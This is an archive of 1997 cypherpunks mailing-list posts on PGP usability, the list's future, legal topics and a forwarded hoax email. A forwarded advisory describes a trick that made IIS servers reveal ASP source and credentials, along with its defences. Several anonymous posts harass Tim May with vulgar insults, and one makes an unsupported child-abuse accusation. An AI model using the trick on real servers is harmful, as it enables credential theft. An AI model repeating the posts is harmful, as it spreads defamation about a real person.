hear for two and a half (wow..) years, I posted only three
(or four...) messages.  I am a bad boy.
Sorry. > all

Instead of it, I have gotten many many cripto-concerned
info (such as PGP) which are worth reading (though they
are very difficult for me, both technical and language ;-).
Today I know about cryptography a little.  I am working
nearby the cryptographic field in Japan.  So I DO want to
say THANKS to all subscribers of the list and the
owner-cypherpunks@toad.com, and the host machine named
toad.com [140.174.2.1].

On Wed, 19 Feb 1997 15:37:08 -0500, Robert Hettinga said:
 >Anyway, I've learned all these things from many cypherpunks, some still

Yes, me too!

 >Because of this list's effect on my life, I have been motivated to start
 >the Digital Commerce Society of Boston, to evangelize financial
[..]

I found your DCSB list out about a month ago.  This list
is also interesting for me.  Thanks.

 >Next week, I go to FC97 in Anguilla because of the things I've learned on
[..]

I did want to go to FC97, but there is a long distance
between Anguilla and Japan...  I hope you will post the
summary and/or topics of FC97 to the DCSB. :-)

 >[..] cypherpunks is not going to
 >die just because the address "cypherpunks@toad.com" ceases to exist. There

Yah!

 >So. In a very real sense, today on cypherpunks is like any other day in the
 >life of a creosote bush. It's a big desert, folks. We're the only ones who

# Sorry.  Although there are both "creosote" and "bush" in
# my English-Japanese dictionary, I could not understand
# the meaning of "creosote bush".  Please teach me it in
# other easy words if you have a time.  In English is OK.
# In Japanese is the best. ;-)

====

Mr. Bob Hettinga and all, doumo arigatou gozaimashita!

# And sorry for my poor English.

In a "Roman Holiday", Audrey Hepburn said,
	"By all means, Roman..."
Today I say, "By all means, Cypherpunks..."

Best,

 - Tsuyoshi Hayashi <take@barrier-free.co.jp>
 - PGP public key: http://www.barrier-free.co.jp/take/pgpkey
 - (CF 27 34 5B 46 FA 2A 12  D2 4C E3 F7 2A 45 E0 22)
 - Barrier Free, Inc. (established on 25 Jan 1996)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Feb 1997 09:29:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: FWD: (CHANGE: NUVUPSY - Against the therapeutic state)
Message-ID: <v03020901af323876a33c@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Tell me what this has to do with cryptography, and I'll give you a nickle.

Or, maybe not...

;-).

Cheers,
Bob Hettinga

--- begin forwarded text


Date:         Thu, 20 Feb 1997 09:48:47 -0600
Reply-To:     "Dr. Jeffrey A. Schaler" <JSCHALE@american.edu>
Sender:       NEW-LIST - New List Announcements <NEW-LIST@LISTSERV.NODAK.EDU>
From:         "Dr. Jeffrey A. Schaler" <JSCHALE@american.edu>
Organization: The American University
Subject:      CHANGE: NUVUPSY - Against the therapeutic state
To:           NEW-LIST@LISTSERV.NODAK.EDU

NVVUPSY has moved to a new server and has a new E-mail address.

NUVUPSY on LISTSERV@MAELSTROM.STJOHNS.EDU

    "Although we may not know it, we have, in our day, witnessed the birth
    of the Therapeutic State.  This is perhaps the major implication of
    psychiatry as an institution of social control."  (Thomas Szasz, 1963)

    NUVUPSY is a forum to share points of view critical of the "therapeutic
    state" and institutional psychiatry, and those supportive of contractual
    psychotherapy and psychiatry.  We're interested in discussions concerning
    the relationship between liberty and responsibility and its implications
    for clinical, legal, and public policy.  The list will serve to promote
    alternative views to explaining unwanted behaviors.

    Sociological perspectives on the medicalization of deviant behavior are
    welcome.  Other topics for discussion include but are not limited to:
    The myth of addiction as a disease;  the ideology of biological
    determinism;  the obsolescence of the schizophrenia hypothesis;  coerced
    treatment for addiction and First Amendment rights;  criticism
    of psychiatric drug prescriptions;  etc.

    NUVUPSY Board of Advisors include:  Bruce K. Alexander, Phil Brown,
    Robert C. Carson, David J. Essex, Louis B. Fierman, Robert E. Haskell,
    Reid Klion, James C. Mancuso, Roberta Russell, Theodore R. Sarbin,
    Jeffrey A. Schaler, and Richard E. Vatz.

    Archives of NUVUPSY mail items are kept in monthly files.  You may obtain
    a list of files in the archives by sending the command

      INDEX NUVUPSY

    in the BODY of e-mail to LISTSERV@MAELSTROM.STJOHNS.EDU

    (NUVU as in "new view", V=vee)

    To subscribe, send the following command in the BODY of mail to
    LISTSERV@MAELSTROM.STJOHNS.EDU

       SUBSCRIBE NUVUPSY yourfirstname yourlastname

    Owner:  Jeffrey A. Schaler, Ph.D.  jschale@american.edu
            Martin W. Smith            mws@metis.no
            NUVUPSY List Coordinators

                                 -------
Use this information at your own risk.  For more information and disclaimer
send E-mail to LISTSERV@LISTSERV.NODAK.EDU with the command  INFO NEW-LIST
in the body.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eiwasaki@gol.com (Ellen Iwasaki)
Date: Wed, 19 Feb 1997 19:41:19 -0800 (PST)
To: www-security@ns1.rutgers.edu
Subject: security breached by NaughtyRobot
Message-ID: <199702200340.MAA04535@gol1.gol.com>
MIME-Version: 1.0
Content-Type: text/plain


HELP! Can anyone tell me what this message is that I received in my mail
today? Is it real? Should I do as it suggests? I have used the Internet
once to purchase some books? Was my credit card number stolen in the
process? How did this happen and how will it affect me? What should I do?
PLEASE ADVISE ASAP! Thank you for your help
Ellen Iwasaki
Kumamoto, Japan

> From: eiwasaki@gol.com
> Date: Wed, 19 Feb 97 02:27 CST
> Apparently-From: eiwasaki@gol.com
> Apparently-To: eiwasaki@gol.com
> Reply-to: eiwasaki@gol.com
> Registered-mail-reply-requested-by: eiwasaki@gol.com
> Sensitivity: PERSONAL-CONFIDENTIAL
> Precedence: EMERGENCY
> Priority: URGENT
> Comment: Authenticated sender is <eiwasaki@gol.com>
> Organization: NaughtyRobot
> Subject: security breached by NaughtyRobot
>
> This message was sent to you by NaughtyRobot, an Internet spider that
> crawls into your server through a tiny hole in the World Wide Web.
>
> NaughtyRobot exploits a security bug in HTTP and has visited your host
> system to collect personal, private, and sensitive information.
>
> It has captured your Email and physical addresses, as well as your phone
> and credit card numbers.  To protect yourself against the misuse of this
> information, do the following:
>
>         1. alert your server SysOp,
>         2. contact your local police,
>         3. disconnect your telephone, and
>         4. report your credit cards as lost.
>
> Act at once.  Remember: only YOU can prevent DATA fires.
>
> This has been a public service announcement from the makers of
> NaughtyRobot -- CarJacking its way onto the Information SuperHighway.
>



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 20 Feb 1997 10:24:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NTSEC] ! [ADVISORY] Major Security Hole in MS ASP (fwd)
Message-ID: <Pine.SUN.3.91.970220132719.13984K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================

---------- Forwarded message ----------
Date: Thu, 20 Feb 1997 11:39:01 -0600
From: Mark Joseph Edwards <mark@ntshop.net>
To: "'bugtraq@netspace.org'" <bugtraq@netspace.org>
Cc: "'ntbugtraq@rc.on.ca'" <ntbugtraq@rc.on.ca>,
    "'ntsecurity@iss.net'" <ntsecurity@iss.net>
Subject: [NTSEC] ! [ADVISORY] Major Security Hole in MS ASP


		MICROSOFT IIS AND ACTIVE SERVER ADVISORY
		 Security Hole in ASP Discovered in Microsoft ASP
				February 20, 1997

DESCRIPTION
A serious security hole was found in Microsoft's Active Server Pages (ASP) by Juan T. Llibre <j.llibre@codetel.net.do>. This hole allows Web clients to download unprocessed ASP files potentially exposing user ids and passwords. ASP files are the common file type used by Microsoft's IIS and Active Server to perform server-side processing.

HOW IT WORKS
To download an unprocessed ASP file, simply append a period to the asp URL. For example: http://www.domain1.com/default.asp becomes http://www.domain1.com/default.asp. With the period appendage, Internet Information Server (IIS) will send the unprocessed ASP file to the Web client, wherein the source to the file can be examined at will. If the source includes any security parameter designed to allow access to other system processes, such as an SQL  database, they will be revealed.

DEFENSE
There are two known ways to stop this behavior: 

1.Turn read permissions off of the ASP directory in the Internet Service Manager. This may not be a practical solution since many sites mix ASP and HTML files. If your site mixes these files together in the same directories, you may want to segregate them immediately. Now and in the future, treat your ASP files like any other Web based executable, and keep them in separate directories wherein permissions can be adjusted accordingly.

2.Download this filter written by Christoph Wille Christoph.Wille@unileoben.ac.at which can be located at http://www.ntshop.net/security/tools/sechole.zip or from http://www.genusa.com/asp/patch/sechole.zip

END OF ADVISORY





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 20 Feb 1997 11:18:31 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: "cypherpunks is dead..."
In-Reply-To: <199702200214.SAA04018@toad.com>
Message-ID: <199702201937.NAA01962@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> At 3:37 PM -0500 2/19/97, Robert Hettinga wrote:
> is stil bogged down, for reasons I have to believe have to do with
> pressures from somewhere, else why would e-mail packages not make PGP
> support painless?)

	There are several packages that do provide at least some level 
of PGP integration, but I have 2 very good reasons:

	1) The "market place" isn't willing to pay for the additional work.

	2) It isn't "sexy" enough to cause a programmer to want to add it 
to a mailer just for fun. 

	






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Laffra <laffra@ms.com>
Date: Thu, 20 Feb 1997 10:47:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Translating C++ to Java
Message-ID: <199702201846.NAA16032@sar6.morgan.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

I hope the following information is of interest, otherwise please ignore...

In August 1996 my book "Advanced Java" was published, and it still is one
of the only books that is not only absolutely emphatic about the language,
but in addition has a critical, honest, and objective look at Java.  I am
very happy with the reception of the book -- it is one of the Java
best-sellers, especially considering the small intended target buyers
segment (the more advanced Java programmer).  Enclosed with the book is
C2J, an automatic C++ to Java translator, written in C++ and requiring
specific UNIX tools.  My version of C2J was not very useful for a lot of
people because of the requirements on the environment.

I challenged the online community to look at the software and come up with
a full Java version. I am happy to report that has happened. A student at
PACE University in New York, Ilya Tilevich, took the challenge and did a
really nice job in making C2J a full Java program.

For more information, check out my personal home page at America Online:

	http://members.aol.com/laffra

and download the zip file containing the Java class files and source code.

I hope this information is useful for you,
Chris Laffra.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Thu, 20 Feb 1997 16:58:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA
Message-ID: <199702202219.OAA24762@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


A warning label ought to be tattooed on Tim C[retin] May's head, 
saying `Warning: shit content under pressure'.

              /\_/\
             ( x x )
         -oo0-(o o)-0oo- Tim C[retin] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Thu, 20 Feb 1997 16:48:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] RSA
Message-ID: <199702202230.OAA26215@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy `C' May was born when his mother was on the toilet.

        /\ o-/\  Timothy `C' May
       ///\|/\\\
      /   /|\   \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Feb 1997 11:37:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "cypherpunks is dead..."
In-Reply-To: <199702200214.SAA04018@toad.com>
Message-ID: <v0302090daf3258376fe3@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:37 pm -0500 on 2/20/97, snow wrote:


> > At 3:37 PM -0500 2/19/97, Robert Hettinga wrote:
> > is stil bogged down, for reasons I have to believe have to do with
> > pressures from somewhere, else why would e-mail packages not make PGP
> > support painless?)

Uh, that wasn't me.

Sorry...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Date: Thu, 20 Feb 1997 11:43:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
In-Reply-To: <199702201456.GAA14462@toad.com>
Message-ID: <Pine.A32.3.91.970220144146.133666A-100000@gnu.uvm.edu>
MIME-Version: 1.0
Content-Type: text/plain



For those of you who haven't seen this... "fake-web" document. A way 
hackers may easily get around things like SSL.

http://www.cs.princeton.edu/sip/pub/spoofingDocumentWithLongUntypeableName.html


*********************************
Scott A. Hommel
President,
New Paradigm Design, Inc.

PGP key available at:
http://paradigm-2.com/scott.html

*********************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Thu, 20 Feb 1997 17:18:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Elliptic curves
Message-ID: <199702202312.PAA01838@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


May Tim Mayhem's forgeries get stuck up his ass so he'll 
have to shit through his filthy mouth for the rest of its 
miserable life.

  o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
 /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ Tim Mayhem
 / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Thu, 20 Feb 1997 17:33:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Accounts payable
Message-ID: <199702210000.QAA07898@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[ocksucker] Mayo is not only as queer as a three 
dollar bill, but he is also into having sex with children.

        /'''
        c-OO Timmy C[ocksucker] Mayo
           \
          -





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 20 Feb 1997 13:03:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: crime and technology
Message-ID: <01IFN7Y21CC08Y51HA@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 20-FEB-1997 07:55:48.58
From: Phil Agre <pagre@weber.ucsd.edu>

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Wed, 19 Feb 1997 18:51:34 -0500
From: Belinda Juran <juran@law.harvard.edu>

[...]

                    Harvard Journal of Law & Technology

                        Symposium:  Crime & Technology
Law Enforcement Technology  - Cybercrime - Electronic Commerce

                                 Saturday, March 15, 1997
Ames Courtroom, Austin Hall at Harvard Law School in Cambridge, MA.
                                   Registration:  9:30 A.M.

Tentative Schedule, including Confirmed and Tentative Panelists:
9:30-9:45   Registration & coffee
9:45-10      Introduction
10-12         Panel:  "Search, Seizure, and Surveillance Technology"
                  (searching of technology & the technology of searching)
                  Moderator:  Stephen Heymann
                     assistant United States attorney in Boston who teaches at
                     HLS and was involved with the first wiretap laid on the
                     Internet.
                  Panelists:
                  o  Tony West
                      AUSA in San Jose who helped investigate the creator 
                      of PGP and is now prosecuting the "Orchid Club" 
                      cases against an international child pornography 
                      ring that distributed through the Internet.
                 o  Chris Slobogin
                     UFlorida professor who is the reporter for the
                     ABA Task Force on Technology and Law Enforcement
                 o  Andy Good
                     a Boston defense attorney who has defended computer
                     searches including US v. Steve Jackson Games
                 o  Marc Goodman
                     a Los Angeles Police Department sargeant who has
                     investigated computer crimes and has pursued the
                     impact of technology on police departments during 
                     his year at the Kennedy School of Government
                o  Elizabeth Marsh
                    a Quinnipiac Law School professor who has done work
                    on encryption and the danger of the federal government's
                    "key" proposal
12             Lunch:  box lunch provided
12:45-1:15 Keynote:  invited (tentative) keynote speaker:
                  Bob Kahn
                      Corporation for National Research Initiatives
1:15-3:15   Panel:  "The Risks of Electronic Banking &Commerce"
                  (content security & payment/banking security)
                   Moderator:  Charles Nesson
                      professor at Harvard Law School specializing in 
                      legal implications of digital technologies
                  o  Marc Rotenberg
                      EPIC (Electronic Privacy & Information Center)
                  o  Kelly Frey
                      Copyright Clearance Center
                  o  David Byer
                      partner, Testa Hurwitz & Thibeault, Boston, MA
                  o  Philip Bane
                      counsel, First Virtual
3:15 end

Admission to the Symposium is free to all Harvard affiliates (with valid
Harvard ID), $15 for all other students, $30 for public sector
professionals, and $100 for private sector professionals.

ADVANCE REGISTRATION IS STRONGLY SUGGESTED.

- ------------------------Registration Form-------------------------------

Harvard Journal of Law & Technology Symposium on Crime & Technology;
March 15, 1997;
registration begins at 9:30 a.m.; program begins at 10:00 a.m.
Ames Courtroom, Austin Hall, Harvard Law School, Cambridge MA

     Name:____________________________________________________

     Affiliation _________________________________________________

     Address __________________________________________________

             __________________________________________________

     Telephone:________________________________________________

     Email:____________________________________________________

     Check One:
                  _____ Private Sector Professional: $100
                  _____ Public Sector Professional:   $ 30
                  _____ Student:                      $ 15
                  _____ Harvard student (valid ID must be presented 
                                 at the door):  free

Make checks payable to:  Harvard Journal of Law & Technology

Mail the completed registration form with check to:
              Symposium Registration
              Harvard Journal of Law & Technology
              Publications Center
              Harvard Law School
              Cambridge, MA 02138

- ------------------------------Cut Here--------------------------------------

The Symposium is sponsored by Hale and Dorr L.L.P., Boston, MA.

The Spring Issue of the Journal will include articles covering the broad
topic of "Crime and Technology."

For additional information about the Symposium, contact
Symposium Editor Belinda Juran, by e-mail at juran@law.harvard.edu, or by
phone at the Harvard Journal of Law & Technology offices at
617-495-3606 or 617-493-7949.

ABOUT THE JOURNAL:
The Harvard Journal of Law & Technology is a leading scholarly
publication for articles addressing the many diverse interstices of
science and technology with law and society.  We have published articles
by law professors, practitioners, business leaders, and politicians on
varied topics including biotechnology, computers, international trade,
technology transfer, intellectual property, medical technologies, and
telecommunications. These and other subjects are some of the most
exciting and rapidly developing areas of the law, and we believe that the
dialogue provided by the Harvard Journal of Law & Technology will help to
shape the future of this important field.  We welcome submissions of
articles, case comments, or book reviews addressing the relationship of
law and technology.

SUBSCRIPTION INFORMATION:
For additional information, please contact the Journal at the address
below.  The Journal publishes three issues each year. To subscribe to the
Journal's upcoming issues in Volume 10,  please send the Journal a check
for U.S. $45.00 (foreign orders $50.00) to the address below.  To obtain
the issue discussed above or back issues, please send the Journal a check
for $35.00 with a note indicating the desired issue (i.e., "Vol. 9 No. 2").

*************************************************************************

              Harvard Journal of Law & Technology
              Publications Center
              Harvard Law School
              Cambridge, MA 02138

              Telephone: (617) 495-3606
              Fax:       (617) 495-8828

              E-Mail:  jolt@law.harvard.edu
              WWW:  http://www.law.harvard.edu/home/jolt/

*************************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 20 Feb 1997 13:28:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Constitution and a Right to Privacy
Message-ID: <01IFN8OP62KK8Y51HA@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From: Dale Thorn <dthorn@gte.net>

>Greg Broiles wrote:
>> At 11:56 PM 2/19/97 -0800, Dale Thorn wrote:
>> >It's good if you don't read the L.A. Times.  One of their lead editor-
>> >ializers (whores), a professor at USC law school named Erwin Chemerinsky,
>> >writes in relation to this subject "The federal government is an inde-
>> >pendent sovereign that cannot have its powers diminished by a state
>> >government's actions." (exact quote, 2/7/97).  Either that's a load of
>> >BS doubletalk, or it's one of the more fascistic commentaries from the
>> >Times, which is usually bad enough.

>> Hey, don't forget to shoot the messenger. Chemerinsky's statement is a
>> concise summary of at least the last 70 years of double jeopardy
>> jurisprudence. The only thing that's unusual about the use of the "dual
>> sovereign" doctrine against the cops who beat King was that it's usually
>> used against ordinary citizens, not cops. Do you suppose it's possible

>I understood clearly the (supposed) intent of the feds in retrying
>the Whites in the South who were beating up on Blacks and getting
>off with White juries - I just believe they would have served the
>people better by declaring mistrials or something instead of using
>the "dual sovereignty" BS, since a study of the Constitution and
>its preparatory papers shows the fathers clearly would have balked
>at this.

	I had understood the basic reasons for the double jeopardy
limit to be two: A. to prevent government from tormenting innocent
individuals with repeated trials; and B. to prevent convictions of
innocents by simple repeated trials until a jury made a mistake. The
latter can be analogized in statistics to the consideration that a
test with a p value of .05 will turn out false positive results 1 time in
20 by the nature of it; thus, if you look at two different studies/trials
with an independent (an oversimplifying assumption for trials, admittedly)
5% chance of an incorrect conviction, the chance is 1-((19/20)(19/20))
or 9.75% for _either_ of them turning out a false positive instead of a
5% chance. In a system partially based on the principle that it's better
to let the guilty go free than to punish the innocent, this result is
not acceptable. While the founding fathers probably didn't realize the
mathematics behind the second, I suspect that they had some intuition
of its nature.
	I can see an argument, however, for using it in the case of
state employees, particularly police - the state judicial/prosecutorial
system can hardly be said not to be biased in favor of them. A better
solution, however, would be to simply do the trial in a federal court
to begin with. (Having trials of federal employees in the courts of the
state of their alleged victims would be a correspondingly good idea,
although multiple possible states for this could be a problem.)
	I'd appreciate comments from persons with more legal knowledge
than I have; I am simply going by logic here.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Thu, 20 Feb 1997 07:43:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "cypherpunks is dead..."
In-Reply-To: <v0300780caf3130183f0f@[207.167.93.63]>
Message-ID: <199702201544.QAA07860@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 A million monkeys operating under the pseudonym 
 "Tim May <tcmay@got.net>" typed:
>
> (Getting PGP integrated into mailers
> is stil bogged down, for reasons I have to believe have to do with
> pressures from somewhere, else why would e-mail packages not make PGP
> support painless?)


Because PGP's user interface is yucky and its programmer
interface is even worse.


Amazing how people don't realize how much certain important 
things depend on such a (deceptively) simple concept as having
a nice user interface and a nice programmer interface.  In 
contradiction of certain cypherpunk urban legends, I suspect
that such pedestrian details are far, far more important to 
the course of history than the clumsy and feckless 
machinations of government agencies.


But for the good news, see the quote from Jim Bidzos in my
".plan".


Regards,

Zooko, Journeyman Interface Designer

NOT speaking for any organizations or persons whose names 
might appear in the headers of this message, or who might 
occasionally toss me some spare change in return for my 
brilliant software design work.

PGP sig follows




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

iQB1AwUBMwxxPkjbHy8sKZitAQFkwwL+Pmpv70F4mN+G58gnZj0a8nH6omppzucN
CxMSw2iFc/rBcCQGoNO1Bx42TEShypN4HyBqrR49NEkJhihZ4dSfQB2FGsTZyFE0
P9X2/Oy10AwqC9nu90n/Ct5Z+63wFB6P
=CCQx
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 20 Feb 1997 10:42:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Why Digital Video Disks are late to market
In-Reply-To: <199702182227.OAA12266@toad.com>
Message-ID: <199702201652.RAA26679@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


> ... there apparently has been some speculation among the U.S. PC community
> that Matsushita may be stonewalling on the software-licensing issue so that
> it can establish its hardware-based decryption solution in the marketplace.

The day it gets published in software is the day someone runs a
disassembler on it.  That's all there is to it.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <privsoft@ix.netcom.com>
Date: Thu, 20 Feb 1997 15:49:51 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: The List
Message-ID: <330CE329.37E8@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hey all,

As a somewhat quiet observer and student of the Cypherpunk list over the
last two years, I have been able to keep in touch with an unimaginable
amount of issues, info, concerns, and news; and the knowledge I have
gained from this list is more than I can say in words. I have sifted
through the noise and can say the info gleaned was indeed worth the
effort. I am sorry to see the list in its present state, ready to move
on to better? things. I hope I speak for many of you, like me who
listened learned asked and was answered, that the Cypherpunk list must
continue and that each of us, active and passive member has a
responsibility to ourselves and each other to continue bring the issues
to light , fighting the good fight against the gov't's lousy
regulations, and bringing encryption to the masses. I have been working
with a security software development company for 2 and half years and
have been working on this goal: bringing encryption to the masses. The
information both directly (actual posts relating to Crypto) and
indirectly (Rants and flames on Snakeoil products) gained has helped
guide me and my colleagues closer and closer to our goal. For that and
more I thank all of you. We are very close to releasing a beta version
of our product to the Internet community to use and abuse. We have
worked closely with Bruce Schnieir and Counterpane to insure good
implementation of our security measures. I hope our product meets with
your standards and approval but more importantly I hope that you (the
collective you) can be instrumental in helping us to accomplish our
goal. I will post to this list (assuming it is still amongst the living)
very shortly a more detailed description of the product and where a beta
can be gotten. I am sorry for "whetting the appetites" but I figured
since I was E-mailing a post relating to the state of list, I include a
bit about how the list has positively effected me and has contributed to
society.

Steveo (privsoft@ix.netcom.com)
--Privacy Software Division--
Syntel Technologies, Inc.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 20 Feb 1997 19:57:07 -0800 (PST)
To: eiwasaki@gol.com (Ellen Iwasaki)
Subject: Re: security breached by NaughtyRobot
In-Reply-To: <199702200340.MAA04535@gol1.gol.com>
Message-ID: <3.0.1.32.19970220185545.00628978@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Don't panic.  It's just a hoax.  Lots of other people have received it.
The hoaxer got your address somewhere off the Internet (maybe Usenet,
maybe your web page) and sent you the email. 


At 12:40 PM 2/20/97 +0900, Ellen Iwasaki wrote:
>HELP! Can anyone tell me what this message is that I received in my mail
>today? Is it real? Should I do as it suggests? I have used the Internet
>once to purchase some books? Was my credit card number stolen in the
>process? How did this happen and how will it affect me? What should I do?
>PLEASE ADVISE ASAP! Thank you for your help
>Ellen Iwasaki
>Kumamoto, Japan
>
>> From: eiwasaki@gol.com
>> Date: Wed, 19 Feb 97 02:27 CST
>> Apparently-From: eiwasaki@gol.com
>> Apparently-To: eiwasaki@gol.com
>> Reply-to: eiwasaki@gol.com
>> Registered-mail-reply-requested-by: eiwasaki@gol.com
>> Sensitivity: PERSONAL-CONFIDENTIAL
>> Precedence: EMERGENCY
>> Priority: URGENT
>> Comment: Authenticated sender is <eiwasaki@gol.com>
>> Organization: NaughtyRobot
>> Subject: security breached by NaughtyRobot
>>
>> This message was sent to you by NaughtyRobot, an Internet spider that
>> crawls into your server through a tiny hole in the World Wide Web.
>>
>> NaughtyRobot exploits a security bug in HTTP and has visited your host
>> system to collect personal, private, and sensitive information.
>>
>> It has captured your Email and physical addresses, as well as your phone
>> and credit card numbers.  To protect yourself against the misuse of this
>> information, do the following:
>>
>>         1. alert your server SysOp,
>>         2. contact your local police,
>>         3. disconnect your telephone, and
>>         4. report your credit cards as lost.
>>
>> Act at once.  Remember: only YOU can prevent DATA fires.
>>
>> This has been a public service announcement from the makers of
>> NaughtyRobot -- CarJacking its way onto the Information SuperHighway.
>>
>
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 20 Feb 1997 16:02:03 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: DES search publicity (was Re: Cryptanalysis)
In-Reply-To: <199702192005.UAA01691@server.test.net>
Message-ID: <Pine.LNX.3.95.970220185915.1374A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 19 Feb 1997, Adam Back wrote:

> Have there been any sightings of your code outside the US?
> 
> Rumor has it that ftp://ftp.replay.com/pub/incoming is a place where
> things often turn up, but I haven't seen it yet.

Last time I checked, deskr06i.zip, which I believe is the correct filename,
was in /pub/incoming.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMwzm9yzIPc7jvyFpAQHeggf9HN1XnB1pWdwfsDPptMCCJdq6whdDlac/
W2In+Yzxro7n+RyCYdPFHXldlCFDh/st6SbL90XFQp2kS7Mg7Zu7BtgMRuUOugqk
